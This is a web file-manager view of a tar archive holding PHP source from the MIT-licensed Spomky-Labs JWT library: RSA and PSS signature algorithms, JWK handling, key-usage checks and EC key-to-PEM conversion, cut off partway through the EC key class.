File manager - Edit - /home/opticamezl/www/newok/web-token.tar
Back
jwt-signature-algorithm-rsa/RS512.php 0000644 00000000733 15174446347 0013425 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; final class RS512 extends RSAPKCS1 { public function name(): string { return 'RS512'; } protected function getAlgorithm(): string { return 'sha512'; } } jwt-signature-algorithm-rsa/PS384.php 0000644 00000000731 15174446347 0013430 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; final class PS384 extends RSAPSS { public function name(): string { return 'PS384'; } protected function getAlgorithm(): string { return 'sha384'; } } jwt-signature-algorithm-rsa/RS256.php 0000644 00000000733 15174446347 0013432 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; final class RS256 extends RSAPKCS1 { public function name(): string { return 'RS256'; } protected function getAlgorithm(): string { return 'sha256'; } } jwt-signature-algorithm-rsa/RSAPSS.php 0000644 00000003627 15174446347 0013671 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; use function in_array; use InvalidArgumentException; use Jose\Component\Core\JWK; use Jose\Component\Core\Util\RSAKey; use Jose\Component\Signature\Algorithm\Util\RSA as JoseRSA; abstract class RSAPSS implements SignatureAlgorithm { public function allowedKeyTypes(): array { return ['RSA']; } public function verify(JWK $key, string $input, string $signature): bool { $this->checkKey($key); $pub = RSAKey::createFromJWK($key->toPublic()); return JoseRSA::verify($pub, $input, $signature, $this->getAlgorithm(), JoseRSA::SIGNATURE_PSS); } /** * @throws InvalidArgumentException if the key is not private */ public function sign(JWK $key, string $input): string { $this->checkKey($key); if (!$key->has('d')) { throw new InvalidArgumentException('The key is not a private key.'); } $priv = RSAKey::createFromJWK($key); return JoseRSA::sign($priv, $input, $this->getAlgorithm(), JoseRSA::SIGNATURE_PSS); } abstract protected function getAlgorithm(): string; /** * @throws InvalidArgumentException if the key type is not allowed * @throws InvalidArgumentException if the key is not valid */ private function checkKey(JWK $key): void { if (!in_array($key->get('kty'), $this->allowedKeyTypes(), true)) { throw new InvalidArgumentException('Wrong key type.'); } foreach (['n', 'e'] as $k) { if (!$key->has($k)) { throw new InvalidArgumentException(sprintf('The key parameter "%s" is missing.', $k)); } } } } jwt-signature-algorithm-rsa/RSA.php 0000644 00000004062 15174446347 0013275 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; use function in_array; use InvalidArgumentException; use Jose\Component\Core\JWK; use Jose\Component\Core\Util\RSAKey; use Jose\Component\Signature\Algorithm\Util\RSA as JoseRSA; /** * @deprecated Please use either RSAPSS or RSAPKCS1 depending on the padding mode */ abstract class RSA implements SignatureAlgorithm { public function allowedKeyTypes(): array { return ['RSA']; } public function verify(JWK $key, string $input, string $signature): bool { $this->checkKey($key); $pub = RSAKey::createFromJWK($key->toPublic()); return JoseRSA::verify($pub, $input, $signature, $this->getAlgorithm(), $this->getSignatureMethod()); } /** * @throws InvalidArgumentException if the key is not private */ public function sign(JWK $key, string $input): string { $this->checkKey($key); if (!$key->has('d')) { throw new InvalidArgumentException('The key is not a private key.'); } $priv = RSAKey::createFromJWK($key); return JoseRSA::sign($priv, $input, $this->getAlgorithm(), $this->getSignatureMethod()); } abstract protected function getAlgorithm(): string; abstract protected function getSignatureMethod(): int; /** * @throws InvalidArgumentException if the key type is not allowed * @throws InvalidArgumentException if the key is invalid */ private function checkKey(JWK $key): void { if (!in_array($key->get('kty'), $this->allowedKeyTypes(), true)) { throw new InvalidArgumentException('Wrong key type.'); } foreach (['n', 'e'] as $k) { if (!$key->has($k)) { throw new InvalidArgumentException(sprintf('The key parameter "%s" is missing.', $k)); } } } } jwt-signature-algorithm-rsa/LICENSE 0000644 00000002073 15174446347 0013144 0 ustar 00 The MIT License (MIT) Copyright (c) 2014-2019 Spomky-Labs Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. jwt-signature-algorithm-rsa/RSAPKCS1.php 0000644 00000004055 15174446347 0014041 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; use function in_array; use InvalidArgumentException; use Jose\Component\Core\JWK; use Jose\Component\Core\Util\RSAKey; use RuntimeException; abstract class RSAPKCS1 implements SignatureAlgorithm { public function allowedKeyTypes(): array { return ['RSA']; } public function verify(JWK $key, string $input, string $signature): bool { $this->checkKey($key); $pub = RSAKey::createFromJWK($key->toPublic()); return 1 === openssl_verify($input, $signature, $pub->toPEM(), $this->getAlgorithm()); } /** * @throws InvalidArgumentException if the key is not private * @throws InvalidArgumentException if the data cannot be signed */ public function sign(JWK $key, string $input): string { $this->checkKey($key); if (!$key->has('d')) { throw new InvalidArgumentException('The key is not a private key.'); } $priv = RSAKey::createFromJWK($key); $result = openssl_sign($input, $signature, $priv->toPEM(), $this->getAlgorithm()); if (true !== $result) { throw new RuntimeException('Unable to sign'); } return $signature; } abstract protected function getAlgorithm(): string; /** * @throws InvalidArgumentException if the key type is not allowed * @throws InvalidArgumentException if the key is not valid */ private function checkKey(JWK $key): void { if (!in_array($key->get('kty'), $this->allowedKeyTypes(), true)) { throw new InvalidArgumentException('Wrong key type.'); } foreach (['n', 'e'] as $k) { if (!$key->has($k)) { throw new InvalidArgumentException(sprintf('The key parameter "%s" is missing.', $k)); } } } } jwt-signature-algorithm-rsa/PS512.php 0000644 00000000731 15174446347 0013421 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; final class PS512 extends RSAPSS { public function name(): string { return 'PS512'; } protected function getAlgorithm(): string { return 'sha512'; } } jwt-signature-algorithm-rsa/PS256.php 0000644 00000000731 15174446347 0013426 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; final class PS256 extends RSAPSS { public function name(): string { return 'PS256'; } protected function getAlgorithm(): string { return 'sha256'; } } jwt-signature-algorithm-rsa/RS384.php 0000644 00000000733 15174446347 0013434 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; final class RS384 extends RSAPKCS1 { public function name(): string { return 'RS384'; } protected function getAlgorithm(): string { return 'sha384'; } } jwt-signature-algorithm-rsa/Util/RSA.php 0000644 00000017715 15174446347 0014223 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm\Util; use function chr; use InvalidArgumentException; use Jose\Component\Core\Util\BigInteger; use Jose\Component\Core\Util\Hash; use Jose\Component\Core\Util\RSAKey; use function ord; use RuntimeException; /** * @internal */ class RSA { /** * Probabilistic Signature Scheme. */ public const SIGNATURE_PSS = 1; /** * Use the PKCS#1. */ public const SIGNATURE_PKCS1 = 2; /** * @throws RuntimeException if the data cannot be signed * @throws InvalidArgumentException if the signature mode is not supported */ public static function sign(RSAKey $key, string $message, string $hash, int $mode): string { switch ($mode) { case self::SIGNATURE_PSS: return self::signWithPSS($key, $message, $hash); case self::SIGNATURE_PKCS1: $result = openssl_sign($message, $signature, $key->toPEM(), $hash); if (true !== $result) { throw new RuntimeException('Unable to sign the data'); } return $signature; default: throw new InvalidArgumentException('Unsupported mode.'); } } /** * Create a signature. */ public static function signWithPSS(RSAKey $key, string $message, string $hash): string { $em = self::encodeEMSAPSS($message, 8 * $key->getModulusLength() - 1, Hash::$hash()); $message = BigInteger::createFromBinaryString($em); $signature = RSAKey::exponentiate($key, $message); return self::convertIntegerToOctetString($signature, $key->getModulusLength()); } /** * Create a signature. * * @deprecated Please use openssl_sign */ public static function signWithPKCS15(RSAKey $key, string $message, string $hash): string { $em = self::encodeEMSA15($message, $key->getModulusLength(), Hash::$hash()); $message = BigInteger::createFromBinaryString($em); $signature = RSAKey::exponentiate($key, $message); return self::convertIntegerToOctetString($signature, $key->getModulusLength()); } /** * @throws InvalidArgumentException if the signature mode is not supported */ public static function verify(RSAKey $key, string $message, string $signature, string $hash, int $mode): bool { switch ($mode) { case self::SIGNATURE_PSS: return self::verifyWithPSS($key, $message, $signature, $hash); case self::SIGNATURE_PKCS1: return 1 === openssl_verify($message, $signature, $key->toPEM(), $hash); default: throw new InvalidArgumentException('Unsupported mode.'); } } /** * Verifies a signature. * * @throws RuntimeException if the signature cannot be verified */ public static function verifyWithPSS(RSAKey $key, string $message, string $signature, string $hash): bool { if (mb_strlen($signature, '8bit') !== $key->getModulusLength()) { throw new RuntimeException(); } $s2 = BigInteger::createFromBinaryString($signature); $m2 = RSAKey::exponentiate($key, $s2); $em = self::convertIntegerToOctetString($m2, $key->getModulusLength()); $modBits = 8 * $key->getModulusLength(); return self::verifyEMSAPSS($message, $em, $modBits - 1, Hash::$hash()); } /** * Verifies a signature. * * @deprecated Please use openssl_sign * * @throws RuntimeException if the signature cannot be verified */ public static function verifyWithPKCS15(RSAKey $key, string $message, string $signature, string $hash): bool { if (mb_strlen($signature, '8bit') !== $key->getModulusLength()) { throw new RuntimeException(); } $signature = BigInteger::createFromBinaryString($signature); $m2 = RSAKey::exponentiate($key, $signature); $em = self::convertIntegerToOctetString($m2, $key->getModulusLength()); return hash_equals($em, self::encodeEMSA15($message, $key->getModulusLength(), Hash::$hash())); } /** * @throws RuntimeException if the value cannot be converted */ private static function convertIntegerToOctetString(BigInteger $x, int $xLen): string { $x = $x->toBytes(); if (mb_strlen($x, '8bit') > $xLen) { throw new RuntimeException(); } return str_pad($x, $xLen, chr(0), STR_PAD_LEFT); } /** * MGF1. */ private static function getMGF1(string $mgfSeed, int $maskLen, Hash $mgfHash): string { $t = ''; $count = ceil($maskLen / $mgfHash->getLength()); for ($i = 0; $i < $count; ++$i) { $c = pack('N', $i); $t .= $mgfHash->hash($mgfSeed.$c); } return mb_substr($t, 0, $maskLen, '8bit'); } /** * EMSA-PSS-ENCODE. * * @throws RuntimeException if the message length is invalid */ private static function encodeEMSAPSS(string $message, int $modulusLength, Hash $hash): string { $emLen = ($modulusLength + 1) >> 3; $sLen = $hash->getLength(); $mHash = $hash->hash($message); if ($emLen <= $hash->getLength() + $sLen + 2) { throw new RuntimeException(); } $salt = random_bytes($sLen); $m2 = "\0\0\0\0\0\0\0\0".$mHash.$salt; $h = $hash->hash($m2); $ps = str_repeat(chr(0), $emLen - $sLen - $hash->getLength() - 2); $db = $ps.chr(1).$salt; $dbMask = self::getMGF1($h, $emLen - $hash->getLength() - 1, $hash); $maskedDB = $db ^ $dbMask; $maskedDB[0] = ~chr(0xFF << ($modulusLength & 7)) & $maskedDB[0]; $em = $maskedDB.$h.chr(0xBC); return $em; } /** * EMSA-PSS-VERIFY. * * @throws InvalidArgumentException if the signature cannot be verified */ private static function verifyEMSAPSS(string $m, string $em, int $emBits, Hash $hash): bool { $emLen = ($emBits + 1) >> 3; $sLen = $hash->getLength(); $mHash = $hash->hash($m); if ($emLen < $hash->getLength() + $sLen + 2) { throw new InvalidArgumentException(); } if ($em[mb_strlen($em, '8bit') - 1] !== chr(0xBC)) { throw new InvalidArgumentException(); } $maskedDB = mb_substr($em, 0, -$hash->getLength() - 1, '8bit'); $h = mb_substr($em, -$hash->getLength() - 1, $hash->getLength(), '8bit'); $temp = chr(0xFF << ($emBits & 7)); if ((~$maskedDB[0] & $temp) !== $temp) { throw new InvalidArgumentException(); } $dbMask = self::getMGF1($h, $emLen - $hash->getLength() - 1, $hash/*MGF*/); $db = $maskedDB ^ $dbMask; $db[0] = ~chr(0xFF << ($emBits & 7)) & $db[0]; $temp = $emLen - $hash->getLength() - $sLen - 2; if (mb_substr($db, 0, $temp, '8bit') !== str_repeat(chr(0), $temp)) { throw new InvalidArgumentException(); } if (1 !== ord($db[$temp])) { throw new InvalidArgumentException(); } $salt = mb_substr($db, $temp + 1, null, '8bit'); // should be $sLen long $m2 = "\0\0\0\0\0\0\0\0".$mHash.$salt; $h2 = $hash->hash($m2); return hash_equals($h, $h2); } /** * @throws RuntimeException if the value cannot be encoded */ private static function encodeEMSA15(string $m, int $emBits, Hash $hash): string { $h = $hash->hash($m); $t = $hash->t(); $t .= $h; $tLen = mb_strlen($t, '8bit'); if ($emBits < $tLen + 11) { throw new RuntimeException(); } $ps = str_repeat(chr(0xFF), $emBits - $tLen - 3); return "\0\1{$ps}\0{$t}"; } } jwt-core/AlgorithmManagerFactory.php 0000644 00000003725 15174446347 0013606 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Core; use InvalidArgumentException; use function is_string; class AlgorithmManagerFactory { /** * @var array */ private $algorithms = []; /** * Adds an algorithm. * * Each algorithm is identified by an alias hence it is allowed to have the same algorithm twice (or more). * This can be helpful when an algorithm have several configuration options. */ public function add(string $alias, Algorithm $algorithm): void { $this->algorithms[$alias] = $algorithm; } /** * Returns the list of aliases. * * @return string[] */ public function aliases(): array { return array_keys($this->algorithms); } /** * Returns all algorithms supported by this factory. * This is an associative array. Keys are the aliases of the algorithms. * * @return Algorithm[] */ public function all(): array { return $this->algorithms; } /** * Create an algorithm manager using the given aliases. * * @param string[] $aliases * * @throws InvalidArgumentException if the alias is invalid or is not supported */ public function create(array $aliases): AlgorithmManager { $algorithms = []; foreach ($aliases as $alias) { if (!is_string($alias)) { throw new InvalidArgumentException('Invalid alias'); } if (!isset($this->algorithms[$alias])) { throw new InvalidArgumentException(sprintf('The algorithm with the alias "%s" is not supported.', $alias)); } $algorithms[] = $this->algorithms[$alias]; } return new AlgorithmManager($algorithms); } } jwt-core/Algorithm.php 0000644 00000001057 15174446347 0010757 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Core; interface Algorithm { /** * Returns the name of the algorithm. */ public function name(): string; /** * Returns the key types suitable for this algorithm (e.g. "oct", "RSA"...). * * @return string[] */ public function allowedKeyTypes(): array; } jwt-core/JWK.php 0000644 00000007223 15174446347 0007465 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Core; use function array_key_exists; use Base64Url\Base64Url; use function in_array; use InvalidArgumentException; use function is_array; use JsonSerializable; class JWK implements JsonSerializable { /** * @var array */ private $values = []; /** * Creates a JWK object using the given values. * The member "kty" is mandatory. Other members are NOT checked. * * @throws InvalidArgumentException if the key parameter "kty" is missing */ public function __construct(array $values) { if (!isset($values['kty'])) { throw new InvalidArgumentException('The parameter "kty" is mandatory.'); } $this->values = $values; } /** * Creates a JWK object using the given Json string. * * @throws InvalidArgumentException if the data is not valid * * @return JWK */ public static function createFromJson(string $json): self { $data = json_decode($json, true); if (!is_array($data)) { throw new InvalidArgumentException('Invalid argument.'); } return new self($data); } /** * Returns the values to be serialized. */ public function jsonSerialize(): array { return $this->values; } /** * Get the value with a specific key. * * @param string $key The key * * @throws InvalidArgumentException if the key does not exist * * @return null|mixed */ public function get(string $key) { if (!$this->has($key)) { throw new InvalidArgumentException(sprintf('The value identified by "%s" does not exist.', $key)); } return $this->values[$key]; } /** * Returns true if the JWK has the value identified by. * * @param string $key The key */ public function has(string $key): bool { return array_key_exists($key, $this->values); } /** * Get all values stored in the JWK object. * * @return array Values of the JWK object */ public function all(): array { return $this->values; } /** * Returns the thumbprint of the key. * * @see https://tools.ietf.org/html/rfc7638 * * @throws InvalidArgumentException if the hashing function is not supported */ public function thumbprint(string $hash_algorithm): string { if (!in_array($hash_algorithm, hash_algos(), true)) { throw new InvalidArgumentException(sprintf('The hash algorithm "%s" is not supported.', $hash_algorithm)); } $values = array_intersect_key($this->values, array_flip(['kty', 'n', 'e', 'crv', 'x', 'y', 'k'])); ksort($values); $input = json_encode($values, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); if (false === $input) { throw new InvalidArgumentException('Unable to compute the key thumbprint'); } return Base64Url::encode(hash($hash_algorithm, $input, true)); } /** * Returns the associated public key. * This method has no effect for: * - public keys * - shared keys * - unknown keys. * * Known keys are "oct", "RSA", "EC" and "OKP". * * @return JWK */ public function toPublic(): self { $values = array_diff_key($this->values, array_flip(['p', 'd', 'q', 'dp', 'dq', 'qi'])); return new self($values); } } jwt-core/LICENSE 0000644 00000002073 15174446347 0007324 0 ustar 00 The MIT License (MIT) Copyright (c) 2014-2019 Spomky-Labs Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. jwt-core/JWT.php 0000644 00000000677 15174446347 0007504 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Core; interface JWT { /** * Returns the payload of the JWT. * null is a valid payload (e.g. JWS with detached payload). */ public function getPayload(): ?string; } jwt-core/Util/KeyChecker.php 0000644 00000006731 15174446347 0011767 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Core\Util; use function in_array; use InvalidArgumentException; use function is_array; use Jose\Component\Core\JWK; /** * @internal */ class KeyChecker { public static function checkKeyUsage(JWK $key, string $usage): void { if ($key->has('use')) { self::checkUsage($key, $usage); } if ($key->has('key_ops')) { self::checkOperation($key, $usage); } } /** * @throws InvalidArgumentException if the key is not suitable for the selected algorithm */ public static function checkKeyAlgorithm(JWK $key, string $algorithm): void { if (!$key->has('alg')) { return; } if ($key->get('alg') !== $algorithm) { throw new InvalidArgumentException(sprintf('Key is only allowed for algorithm "%s".', $key->get('alg'))); } } /** * @throws InvalidArgumentException if the key is not suitable for the selected operation */ private static function checkOperation(JWK $key, string $usage): void { $ops = $key->get('key_ops'); if (!is_array($ops)) { throw new InvalidArgumentException('Invalid key parameter "key_ops". Should be a list of key operations'); } switch ($usage) { case 'verification': if (!in_array('verify', $ops, true)) { throw new InvalidArgumentException('Key cannot be used to verify a signature'); } break; case 'signature': if (!in_array('sign', $ops, true)) { throw new InvalidArgumentException('Key cannot be used to sign'); } break; case 'encryption': if (!in_array('encrypt', $ops, true) && !in_array('wrapKey', $ops, true) && !in_array('deriveKey', $ops, true)) { throw new InvalidArgumentException('Key cannot be used to encrypt'); } break; case 'decryption': if (!in_array('decrypt', $ops, true) && !in_array('unwrapKey', $ops, true) && !in_array('deriveBits', $ops, true)) { throw new InvalidArgumentException('Key cannot be used to decrypt'); } break; default: throw new InvalidArgumentException('Unsupported key usage.'); } } /** * @throws InvalidArgumentException if the key is not suitable for the selected operation */ private static function checkUsage(JWK $key, string $usage): void { $use = $key->get('use'); switch ($usage) { case 'verification': case 'signature': if ('sig' !== $use) { throw new InvalidArgumentException('Key cannot be used to sign or verify a signature.'); } break; case 'encryption': case 'decryption': if ('enc' !== $use) { throw new InvalidArgumentException('Key cannot be used to encrypt or decrypt.'); } break; default: throw new InvalidArgumentException('Unsupported key usage.'); } } } jwt-core/Util/ECKey.php 0000644 00000027205 15174446347 0010711 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Core\Util; use Base64Url\Base64Url; use function extension_loaded; use InvalidArgumentException; use function is_array; use Jose\Component\Core\JWK; use RuntimeException; /** * @internal */ class ECKey { public static function convertToPEM(JWK $jwk): string { if ($jwk->has('d')) { return self::convertPrivateKeyToPEM($jwk); } return self::convertPublicKeyToPEM($jwk); } /** * @throws InvalidArgumentException if the curve is not supported */ public static function convertPublicKeyToPEM(JWK $jwk): string { switch ($jwk->get('crv')) { case 'P-256': $der = self::p256PublicKey(); break; case 'secp256k1': $der = self::p256KPublicKey(); break; case 'P-384': $der = self::p384PublicKey(); break; case 'P-521': $der = self::p521PublicKey(); break; default: throw new InvalidArgumentException('Unsupported curve.'); } $der .= self::getKey($jwk); $pem = '-----BEGIN PUBLIC KEY-----'.PHP_EOL; $pem .= chunk_split(base64_encode($der), 64, PHP_EOL); $pem .= '-----END PUBLIC KEY-----'.PHP_EOL; return $pem; } /** * @throws InvalidArgumentException if the curve is not supported */ public static function convertPrivateKeyToPEM(JWK $jwk): string { switch ($jwk->get('crv')) { case 'P-256': $der = self::p256PrivateKey($jwk); break; case 'secp256k1': $der = self::p256KPrivateKey($jwk); break; case 'P-384': $der = self::p384PrivateKey($jwk); break; case 'P-521': $der = self::p521PrivateKey($jwk); break; default: throw new InvalidArgumentException('Unsupported curve.'); } $der .= self::getKey($jwk); $pem = '-----BEGIN EC PRIVATE KEY-----'.PHP_EOL; $pem .= chunk_split(base64_encode($der), 64, PHP_EOL); $pem .= '-----END EC PRIVATE KEY-----'.PHP_EOL; return $pem; } /** * Creates a EC key with the given curve and additional values. * * @param string $curve The curve * @param array $values values to configure the key */ public static function createECKey(string $curve, array $values = []): JWK { $jwk = self::createECKeyUsingOpenSSL($curve); $values = array_merge($values, $jwk); return new JWK($values); } /** * @throws InvalidArgumentException if the curve is not supported */ private static function getNistCurveSize(string $curve): int { switch ($curve) { case 'P-256': case 'secp256k1': return 256; case 'P-384': return 384; case 'P-521': return 521; default: throw new InvalidArgumentException(sprintf('The curve "%s" is not supported.', $curve)); } } /** * @throws RuntimeException if the extension OpenSSL is not available * @throws RuntimeException if the key cannot be created */ private static function createECKeyUsingOpenSSL(string $curve): array { if (!extension_loaded('openssl')) { throw new RuntimeException('Please install the OpenSSL extension'); } $key = openssl_pkey_new([ 'curve_name' => self::getOpensslCurveName($curve), 'private_key_type' => OPENSSL_KEYTYPE_EC, ]); if (false === $key) { throw new RuntimeException('Unable to create the key'); } $result = openssl_pkey_export($key, $out); if (false === $result) { throw new RuntimeException('Unable to create the key'); } $res = openssl_pkey_get_private($out); if (false === $res) { throw new RuntimeException('Unable to create the key'); } $details = openssl_pkey_get_details($res); if (false === $details) { throw new InvalidArgumentException('Unable to get the key details'); } $nistCurveSize = self::getNistCurveSize($curve); return [ 'kty' => 'EC', 'crv' => $curve, 'd' => Base64Url::encode(str_pad($details['ec']['d'], (int) ceil($nistCurveSize / 8), "\0", STR_PAD_LEFT)), 'x' => Base64Url::encode(str_pad($details['ec']['x'], (int) ceil($nistCurveSize / 8), "\0", STR_PAD_LEFT)), 'y' => Base64Url::encode(str_pad($details['ec']['y'], (int) ceil($nistCurveSize / 8), "\0", STR_PAD_LEFT)), ]; } /** * @throws InvalidArgumentException if the curve is not supported */ private static function getOpensslCurveName(string $curve): string { switch ($curve) { case 'P-256': return 'prime256v1'; case 'secp256k1': return 'secp256k1'; case 'P-384': return 'secp384r1'; case 'P-521': return 'secp521r1'; default: throw new InvalidArgumentException(sprintf('The curve "%s" is not supported.', $curve)); } } private static function p256PublicKey(): string { return pack( 'H*', '3059' // SEQUENCE, length 89 .'3013' // SEQUENCE, length 19 .'0607' // OID, length 7 .'2a8648ce3d0201' // 1.2.840.10045.2.1 = EC Public Key .'0608' // OID, length 8 .'2a8648ce3d030107' // 1.2.840.10045.3.1.7 = P-256 Curve .'0342' // BIT STRING, length 66 .'00' // prepend with NUL - pubkey will follow ); } private static function p256KPublicKey(): string { return pack( 'H*', '3056' // SEQUENCE, length 86 .'3010' // SEQUENCE, length 16 .'0607' // OID, length 7 .'2a8648ce3d0201' // 1.2.840.10045.2.1 = EC Public Key .'0605' // OID, length 8 .'2B8104000A' // 1.3.132.0.10 secp256k1 .'0342' // BIT STRING, length 66 .'00' // prepend with NUL - pubkey will follow ); } private static function p384PublicKey(): string { return pack( 'H*', '3076' // SEQUENCE, length 118 .'3010' // SEQUENCE, length 16 .'0607' // OID, length 7 .'2a8648ce3d0201' // 1.2.840.10045.2.1 = EC Public Key .'0605' // OID, length 5 .'2b81040022' // 1.3.132.0.34 = P-384 Curve .'0362' // BIT STRING, length 98 .'00' // prepend with NUL - pubkey will follow ); } private static function p521PublicKey(): string { return pack( 'H*', '30819b' // SEQUENCE, length 154 .'3010' // SEQUENCE, length 16 .'0607' // OID, length 7 .'2a8648ce3d0201' // 1.2.840.10045.2.1 = EC Public Key .'0605' // OID, length 5 .'2b81040023' // 1.3.132.0.35 = P-521 Curve .'038186' // BIT STRING, length 134 .'00' // prepend with NUL - pubkey will follow ); } private static function p256PrivateKey(JWK $jwk): string { $d = unpack('H*', str_pad(Base64Url::decode($jwk->get('d')), 32, "\0", STR_PAD_LEFT)); if (!is_array($d) || !isset($d[1])) { throw new InvalidArgumentException('Unable to get the private key'); } return pack( 'H*', '3077' // SEQUENCE, length 87+length($d)=32 .'020101' // INTEGER, 1 .'0420' // OCTET STRING, length($d) = 32 .$d[1] .'a00a' // TAGGED OBJECT #0, length 10 .'0608' // OID, length 8 .'2a8648ce3d030107' // 1.3.132.0.34 = P-256 Curve .'a144' // TAGGED OBJECT #1, length 68 .'0342' // BIT STRING, length 66 .'00' // prepend with NUL - pubkey will follow ); } private static function p256KPrivateKey(JWK $jwk): string { $d = unpack('H*', str_pad(Base64Url::decode($jwk->get('d')), 32, "\0", STR_PAD_LEFT)); if (!is_array($d) || !isset($d[1])) { throw new InvalidArgumentException('Unable to get the private key'); } return pack( 'H*', '3074' // SEQUENCE, length 84+length($d)=32 .'020101' // INTEGER, 1 .'0420' // OCTET STRING, length($d) = 32 .$d[1] .'a007' // TAGGED OBJECT #0, length 7 .'0605' // OID, length 5 .'2b8104000a' // 1.3.132.0.10 secp256k1 .'a144' // TAGGED OBJECT #1, length 68 .'0342' // BIT STRING, length 66 .'00' // prepend with NUL - pubkey will follow ); } private static function p384PrivateKey(JWK $jwk): string { $d = unpack('H*', str_pad(Base64Url::decode($jwk->get('d')), 48, "\0", STR_PAD_LEFT)); if (!is_array($d) || !isset($d[1])) { throw new InvalidArgumentException('Unable to get the private key'); } return pack( 'H*', '3081a4' // SEQUENCE, length 116 + length($d)=48 .'020101' // INTEGER, 1 .'0430' // OCTET STRING, length($d) = 30 .$d[1] .'a007' // TAGGED OBJECT #0, length 7 .'0605' // OID, length 5 .'2b81040022' // 1.3.132.0.34 = P-384 Curve .'a164' // TAGGED OBJECT #1, length 100 .'0362' // BIT STRING, length 98 .'00' // prepend with NUL - pubkey will follow ); } private static function p521PrivateKey(JWK $jwk): string { $d = unpack('H*', str_pad(Base64Url::decode($jwk->get('d')), 66, "\0", STR_PAD_LEFT)); if (!is_array($d) || !isset($d[1])) { throw new InvalidArgumentException('Unable to get the private key'); } return pack( 'H*', '3081dc' // SEQUENCE, length 154 + length($d)=66 